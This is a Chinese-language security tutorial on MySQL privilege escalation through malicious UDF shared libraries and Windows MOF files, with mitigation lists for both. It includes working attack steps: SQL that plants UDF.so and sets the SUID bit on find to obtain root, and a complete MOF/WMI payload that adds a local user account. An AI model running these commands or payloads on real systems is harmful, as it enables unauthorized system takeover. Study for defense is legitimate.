日期:2023-11-30 作者:pbfochk 介绍: MySQL
数据库的UDF
与MOF
提权。
在数据库管理和网络安全领域,MySQL
数据库一直是一个备受关注的话题。MySQL
是一种流行的关系型数据库管理系统,被广泛用于存储和管理应用程序的数据。然而,正如在任何强大工具中一样,MySQL
也有其一些安全挑战,其中之一就是数据库提权(Database Privilege Escalation)。
数据库提权是指攻击者试图通过各种手段获取比其当前权限更高级别的数据库访问权限。这可能包括访问敏感数据、执行危险操作或者甚至完全控制数据库系统。数据库提权漏洞通常源于不当的配置、弱密码、未修复的漏洞或应用程序错误,这些都可能为攻击者提供入侵数据库的机会。
MySQL 是一种 开源 的关系型数据库管理系统(RDBMS
),它广泛用于存储、管理和检索数据。以下是MySQL
的简要介绍:
开源性质:MySQL
是一个开源软件,这意味着你可以免费获取、使用和修改它。这使得MySQL
成为了许多应用程序和网站的首选数据库引擎。
关系型数据库:MySQL
是一种关系型数据库管理系统,它使用表格(表)来存储数据,并支持SQL
(结构化查询语言)以便查询和管理这些数据。数据以表格的形式组织,每个表都包含了特定类型的数据。
跨平台:MySQL
可以在多个操作系统上运行,包括Linux
、Windows
、macOS
等。这使得它成为跨平台应用程序的理想数据库引擎。
高性能:MySQL
以其快速的性能而闻名。它能够处理大量的数据,支持高并发访问,并具有优化查询和索引的功能。
可定制性:MySQL
具有高度可定制的特点,允许用户根据其特定需求进行配置和扩展。它还支持存储过程、触发器和自定义函数等高级功能。
安全性:MySQL
提供了多层次的安全性措施,包括访问控制、用户身份验证和数据加密。这些措施有助于保护数据库免受未经授权的访问和数据泄露。
活跃的社区:MySQL
拥有一个活跃的开源社区,不断更新和改进数据库引擎。这意味着用户可以从社区贡献者的技术支持和新功能中受益。
广泛应用:MySQL
被广泛用于各种应用场景,从个人项目到大型企业应用,以及Web
应用、电子商务平台、博客和社交媒体网站等。
MySQL User Defined Function (UDF) Privilege Escalation 是一种潜在的数据库攻击,允许攻击者在已经获得某些数据库权限的情况下,提升其权限级别。要实施UDF
提权,攻击者通常需要满足以下前提条件:
已获得数据库访问权限:攻击者首先需要获得对MySQL
数据库的某些级别的访问权限。这可以是通过猜测或获取合法用户的凭证、通过SQL
注入漏洞获取的权限,或者其他方式。
UDF函数的可执行权限:UDF
函数是一种自定义函数,允许用户在MySQL
中执行特定的操作。攻击者需要有足够的权限来创建和执行UDF函数,通常需要SUPER
权限或FILE
权限。如果攻击者无法创建UDF
函数,他们无法实施UDF
提权攻击。
合适的攻击载荷:攻击者需要准备一个适当的攻击载荷,通常是一个具有恶意代码的共享库文件(通常是.so
文件),以及能够将这个共享库文件加载到MySQL
进程中的SQL
语句。
了解目标环境:攻击者通常需要了解目标MySQL
服务器的环境,包括MySQL
的版本、配置和可用UDF
函数等信息。这有助于他们选择合适的攻击载荷和方法。
足够的时间和访问权限:攻击者需要足够的时间和访问权限来执行UDF
提权攻击。这可能需要在目标系统上维持持久性,以便在需要时执行攻击。
当MySQL
版本大于5.1
时,udf.dll
文件必须放置于MySQL
安装目录下的 lib\plugin
文件夹中。
当MySQL
版本小于5.1
时,在Windows
2003下,udf.dll
文件应放置于 c:\windows\system32
,在Windows
2000下,应放置于 c:\winnt\system32
。
要掌握MySQL
数据库的账号,以便具备对MySQL
进行 insert
和 delete
操作的权限,以便创建和抛弃函数。一般建议使用 root
账号,具备与 root
账号相同权限的其他账号也可以。同时,允许 root
账户远程连接(可使用如下命令:grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358';
这条命令能够允许 root
用户指定IP
地址进行连接)。
应确保具备将 udf.dll
写入到相应目录的权限。
MySQL UDF提权攻击的原理基于以下关键概念:
用户定义函数(UDF):MySQL
允许数据库管理员创建和注册用户自定义函数(UDF
)。这些函数通常用于扩展MySQL
的功能,但它们也可以用于执行任意代码。
权限限制:MySQL
数据库根据用户的权限来控制其对数据库的访问和操作。不同的用户拥有不同级别的权限,从只读访问到完全管理权限。
攻击原理如下:
获取初始访问权限:攻击者首先需要获取对目标MySQL
数据库的初始访问权限。这可以通过各种方式获得,包括猜测密码、利用SQL
注入漏洞、未经授权的访问等。
创建恶意UDF:一旦攻击者获得了初始访问权限,他们会尝试创建一个具有恶意代码的UDF函数。这个函数可以是一个共享库文件(通常是.so
文件),其中包含攻击者的恶意代码。
注册UDF:攻击者将恶意UDF
函数注册到目标数据库中。这通常需要具有足够权限的账户,如root
账户或拥有FILE
权限的账户。
执行恶意UDF:一旦UDF
函数成功注册,攻击者可以通过执行该函数来触发其内部的恶意代码。这个代码在数据库服务器上以高权限运行,从而提升了攻击者在数据库中的权限级别。
进一步攻击:一旦攻击者获得更高的权限级别,他们可以执行其他危险的操作,如读取、修改或删除敏感数据,或者更改数据库配置。
1.此处以linux
服务器为例,首先将编译好的UDF.so
文件放入tmp
目录下。
2.进入数据库
1)执行以下命令进入数据库:
mysql> use test
2)创建一个新表udf1
:
mysql> create table udf1(line blob);
3)将UDF.so
写入新创建的数据库表:
mysql> insert into udf1 values(load_file('/tmp/UDF.so'));
4)检索添加好的数据并保存到对应目录:
mysql> select * from udf1 into dumpfile '/usr/lib/mysql/plugin/UDF.so';
5)加载UDF.so
文件:
mysql> create function do_system returns integer soname 'UDF.so';
6)执行chmod u+s /usr/bin/find
命令:
mysql> select do_system('chmod u+s /usr/bin/find');
7)退出数据库后,查看UDF.so
文件touch UDF
执行whoami
命令,返回root
,获得root
权限:
find UDF -exec 'whoami' \;
限制权限:最重要的一步是限制MySQL
用户的权限。确保用户只获得了他们需要的最低权限级别。避免授予用户过高的权限,特别是SUPER
或FILE
权限,这些权限允许创建和执行UDF
函数。
定期审查:定期审查和监控MySQL
数据库的活动,特别关注UDF
函数的创建和执行。不寻常的行为可能是潜在攻击的迹象。
及时更新:保持MySQL
服务器更新和维护,确保安装了最新的安全补丁。这有助于修复已知的漏洞,并提高数据库的安全性。
网络隔离:使用防火墙或网络隔离措施,限制对MySQL
端口的访问。只允许授权的IP
地址连接到MySQL
服务器,减少潜在攻击者的入口点。
最小化UDF函数:只允许真正需要使用UDF
函数的情况下才允许其创建和执行。避免不必要的UDF
函数存在,减少潜在的滥用机会。
强密码策略:实施强密码策略,确保MySQL
用户的密码复杂度足够高,难以猜测或破解。
定期审计:定期审计数据库的权限和配置,以确保安全性并及时发现潜在的问题。
备份和恢复策略:建立有效的数据库备份和恢复策略,以便在受到攻击时能够迅速恢复数据库到安全状态。
这些措施有助于降低MySQL UDF
提权攻击的风险,增强数据库的安全性,同时保护敏感数据不受潜在的威胁。
MySQL MOF(Management Object Format)提权攻击 是一种专门针对运行在Windows
操作系统上的MySQL
数据库的攻击方式。该攻击利用Windows
操作系统的漏洞,以获取更高的权限,允许攻击者执行恶意操作。
托管对象格式 (MOF
) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
MOF
文件每五秒就会执行,而且是系统权限,我们通过MySQL
使用load_file
将文件写入/wbme/mof
,然后系统每隔五秒就会执行一次我们上传的MOF
。
MOF
当中有一段是vbs
脚本,我们可以通过控制这段vbs
脚本的内容让系统执行命令,进行提权。
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
1.首先将脚本上传到任意一个可读写目录下,再利用SQL
语句导入到C:/windows/system32/wbem/mof/nullevt.mof
。
select load_file("C:/test/payload.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
2.执行后会添加一个名为hpdoger
的用户,再重复一步操作利用net localgroup
将hpdoger
用户加入administrators
管理组即可。
3.因为MOF
漏洞提权牵扯到的前提条件相对于目前大多数数据库部署环境来说已经算是较为苛刻,此处只做简述。
为了预防MySQL MOF
提权攻击,需要采取以下措施:
定期安装操作系统和应用程序的安全更新和补丁,以修复已知的漏洞。
限制系统访问权限,确保只有经授权的用户可以访问系统和数据库。
监控系统活动,及时检测并响应可疑的活动。
使用防病毒和安全软件,以识别和阻止恶意软件的传播。
审查和限制WMI的权限,确保只有授权用户可以创建和执行MOF
文件。
定期审查和更新系统和数据库的安全策略,以适应新的威胁和漏洞。
综上所述,MySQL MOF
提权攻击是一种专门针对Windows
系统上的MySQL
数据库的攻击方式。为了预防这种攻击,必须采取适当的安全措施,并保持系统和软件的更新。
MySQL
作为一个广泛使用的关系型数据库管理系统,常常成为攻击者的目标之一。其中一种潜在的威胁是MySQL UDF
提权攻击,它允许攻击者在获得一定数据库权限的情况下,提升其权限级别,可能导致严重的安全问题。
为了保护数据库免受UDF
提权攻击的威胁,我们必须采取一系列预防措施。这包括限制权限、定期审查数据库活动、保持数据库更新、网络隔离、最小化UDF
函数的使用、实施强密码策略、定期审计和建立有效的备份和恢复策略。这些措施合在一起,将显著降低数据库遭受这种类型攻击的风险。
在数据库安全方面,预防胜于治疗。通过采取上述措施,我们可以帮助确保MySQL
数据库的完整性和可用性,同时保护敏感数据不受潜在的威胁。数据库安全是一个持续的工作,需要不断的监控和更新,以适应不断演变的威胁景观。
最终,数据库安全是每个组织都必须认真对待的问题。只有通过坚定的承诺和合适的安全措施,我们才能确保数据库在数字世界中充当守护者的角色,保护着宝贵的数据资产。
文章来源:宸极实验室
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END